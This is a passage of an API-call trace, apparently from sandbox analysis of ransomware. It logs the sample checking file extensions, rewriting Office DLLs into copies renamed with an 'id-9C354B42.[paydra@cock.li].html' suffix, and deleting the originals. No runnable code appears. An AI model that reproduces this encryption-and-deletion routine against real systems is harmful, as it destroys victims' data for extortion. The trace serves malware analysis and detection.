Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.657] lstrlenW (lpString=".doc") returned 4 [0058.657] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.657] lstrlenW (lpString=".docx") returned 5 [0058.657] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.657] lstrlenW (lpString=".pdf") returned 4 [0058.657] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.657] lstrlenW (lpString=".xls") returned 4 [0058.657] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.657] lstrlenW (lpString=".xlsx") returned 5 [0058.657] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.657] lstrlenW (lpString=".ppt") returned 4 [0058.657] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.657] lstrlenW (lpString=".zip") returned 4 [0058.657] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.657] lstrlenW (lpString=".rar") returned 4 [0058.657] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.657] lstrlenW (lpString=".bz2") returned 4 [0058.657] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.657] lstrlenW (lpString=".7z") returned 3 [0058.657] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.657] lstrlenW (lpString=".dbf") returned 4 [0058.657] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.657] lstrlenW (lpString=".1cd") returned 4 [0058.657] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.657] lstrlenW (lpString=".jpg") returned 4 [0058.657] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.658] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.658] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0058.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0059.566] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=41864) returned 1 [0059.592] CloseHandle (hObject=0x228) returned 1 [0059.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0059.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0059.592] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.592] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0059.593] GetLastError () returned 0x0 [0059.593] ReadFile (in: hFile=0x228, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xa388, lpOverlapped=0x0) returned 1 [0059.594] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0059.596] ReadFile (in: hFile=0x228, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.596] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.596] SetEndOfFile (hFile=0x188) returned 1 [0059.596] CloseHandle (hObject=0x188) returned 1 [0059.596] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.596] SetEndOfFile (hFile=0x228) returned 1 [0059.597] CloseHandle (hObject=0x228) returned 1 [0059.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.598] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 1 [0059.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.598] lstrlenW (lpString=".doc") returned 4 [0059.598] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.598] lstrlenW (lpString=".docx") returned 5 [0059.598] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0059.598] lstrlenW (lpString=".pdf") returned 4 [0059.598] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.598] lstrlenW (lpString=".xls") returned 4 [0059.598] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.598] lstrlenW (lpString=".xlsx") returned 5 [0059.598] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0059.598] lstrlenW (lpString=".ppt") returned 4 [0059.598] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.598] lstrlenW (lpString=".zip") returned 4 [0059.598] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.598] lstrlenW (lpString=".rar") returned 4 [0059.598] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.598] lstrlenW (lpString=".bz2") returned 4 [0059.598] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.598] lstrlenW (lpString=".7z") returned 3 [0059.598] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.598] lstrlenW (lpString=".dbf") returned 4 [0059.598] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.599] lstrlenW (lpString=".1cd") returned 4 [0059.599] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.599] lstrlenW (lpString=".jpg") returned 4 [0059.599] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.599] lstrlenW (lpString=".doc") returned 4 [0059.599] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.599] lstrlenW (lpString=".docx") returned 5 [0059.599] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0059.599] lstrlenW (lpString=".pdf") returned 4 [0059.599] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.599] lstrlenW (lpString=".xls") returned 4 [0059.599] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.599] lstrlenW (lpString=".xlsx") returned 5 [0059.599] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0059.599] lstrlenW (lpString=".ppt") returned 4 [0059.599] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.599] lstrlenW (lpString=".zip") returned 4 [0059.599] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.599] lstrlenW (lpString=".rar") returned 4 [0059.599] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.599] lstrlenW (lpString=".bz2") returned 4 [0059.599] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.599] lstrlenW (lpString=".7z") returned 3 [0059.599] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.599] lstrlenW (lpString=".dbf") returned 4 [0059.599] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.600] lstrlenW (lpString=".1cd") returned 4 [0059.600] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.600] lstrlenW (lpString=".jpg") returned 4 [0059.600] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.600] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0059.600] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0059.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0059.600] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=744888) returned 1 [0059.600] CloseHandle (hObject=0x228) returned 1 [0059.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0059.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0059.601] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.601] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0059.601] GetLastError () returned 0x0 [0059.601] ReadFile (in: hFile=0x228, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xb5db8, lpOverlapped=0x0) returned 1 [0059.615] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xb5dc0, lpOverlapped=0x0) returned 1 [0059.627] ReadFile (in: hFile=0x228, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.627] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0059.627] SetEndOfFile (hFile=0x188) returned 1 [0059.627] CloseHandle (hObject=0x188) returned 1 [0059.628] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.628] SetEndOfFile (hFile=0x228) returned 1 [0059.633] CloseHandle (hObject=0x228) returned 1 [0059.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.633] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.634] lstrlenW (lpString=".doc") returned 4 [0059.634] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.634] lstrlenW (lpString=".docx") returned 5 [0059.634] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0059.634] lstrlenW (lpString=".pdf") returned 4 [0059.634] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.634] lstrlenW (lpString=".xls") returned 4 [0059.634] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.634] lstrlenW (lpString=".xlsx") returned 5 [0059.634] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0059.634] lstrlenW (lpString=".ppt") returned 4 [0059.634] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.634] lstrlenW (lpString=".zip") returned 4 [0059.634] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.634] lstrlenW (lpString=".rar") returned 4 [0059.634] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.634] lstrlenW (lpString=".bz2") returned 4 [0059.634] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.634] lstrlenW (lpString=".7z") returned 3 [0059.634] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.634] lstrlenW (lpString=".dbf") returned 4 [0059.634] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.634] lstrlenW (lpString=".1cd") returned 4 [0059.634] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.634] lstrlenW (lpString=".jpg") returned 4 [0059.635] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.635] lstrlenW (lpString=".doc") returned 4 [0059.635] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".docx") returned 5 [0059.635] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0059.635] lstrlenW (lpString=".pdf") returned 4 [0059.635] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".xls") returned 4 [0059.635] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".xlsx") returned 5 [0059.635] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0059.635] lstrlenW (lpString=".ppt") returned 4 [0059.635] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.635] lstrlenW (lpString=".zip") returned 4 [0059.635] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".rar") returned 4 [0059.635] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".bz2") returned 4 [0059.635] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.635] lstrlenW (lpString=".7z") returned 3 [0059.635] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.635] lstrlenW (lpString=".dbf") returned 4 [0059.635] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.635] lstrlenW (lpString=".1cd") returned 4 [0059.635] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0059.635] lstrlenW (lpString=".jpg") returned 4 [0059.635] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.636] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0059.636] lstrlenW (lpString="ACEERR.DLL") returned 10 [0059.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.136] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=43408) returned 1 [0060.136] CloseHandle (hObject=0x21c) returned 1 [0060.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0060.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.137] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.137] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0060.137] GetLastError () returned 0x0 [0060.137] ReadFile (in: hFile=0x21c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xa990, lpOverlapped=0x0) returned 1 [0060.630] WriteFile (in: hFile=0x234, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xa9a0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xa9a0, lpOverlapped=0x0) returned 1 [0060.631] ReadFile (in: hFile=0x21c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.631] WriteFile (in: hFile=0x234, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0060.631] SetEndOfFile (hFile=0x234) returned 1 [0060.631] CloseHandle (hObject=0x234) returned 1 [0060.632] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.632] SetEndOfFile (hFile=0x21c) returned 1 [0060.633] CloseHandle (hObject=0x21c) returned 1 [0060.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.633] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 1 [0060.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.988] lstrlenW (lpString=".doc") returned 4 [0060.988] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.989] lstrlenW (lpString=".docx") returned 5 [0060.989] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0060.989] lstrlenW (lpString=".pdf") returned 4 [0060.989] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.989] lstrlenW (lpString=".xls") returned 4 [0060.989] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.989] lstrlenW (lpString=".xlsx") returned 5 [0060.989] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0060.989] lstrlenW (lpString=".ppt") returned 4 [0060.989] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.989] lstrlenW (lpString=".zip") returned 4 [0060.989] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.989] lstrlenW (lpString=".rar") returned 4 [0060.989] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.989] lstrlenW (lpString=".bz2") returned 4 [0060.989] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.989] lstrlenW (lpString=".7z") returned 3 [0060.989] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.989] lstrlenW (lpString=".dbf") returned 4 [0060.989] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.989] lstrlenW (lpString=".1cd") returned 4 [0060.989] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.989] lstrlenW (lpString=".jpg") returned 4 [0060.989] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0060.989] lstrlenW (lpString=".doc") returned 4 [0060.989] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.990] lstrlenW (lpString=".docx") returned 5 [0060.990] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0060.990] lstrlenW (lpString=".pdf") returned 4 [0060.990] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.990] lstrlenW (lpString=".xls") returned 4 [0060.990] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.990] lstrlenW (lpString=".xlsx") returned 5 [0060.990] lstrcmpiW (lpString1=".xlsx", 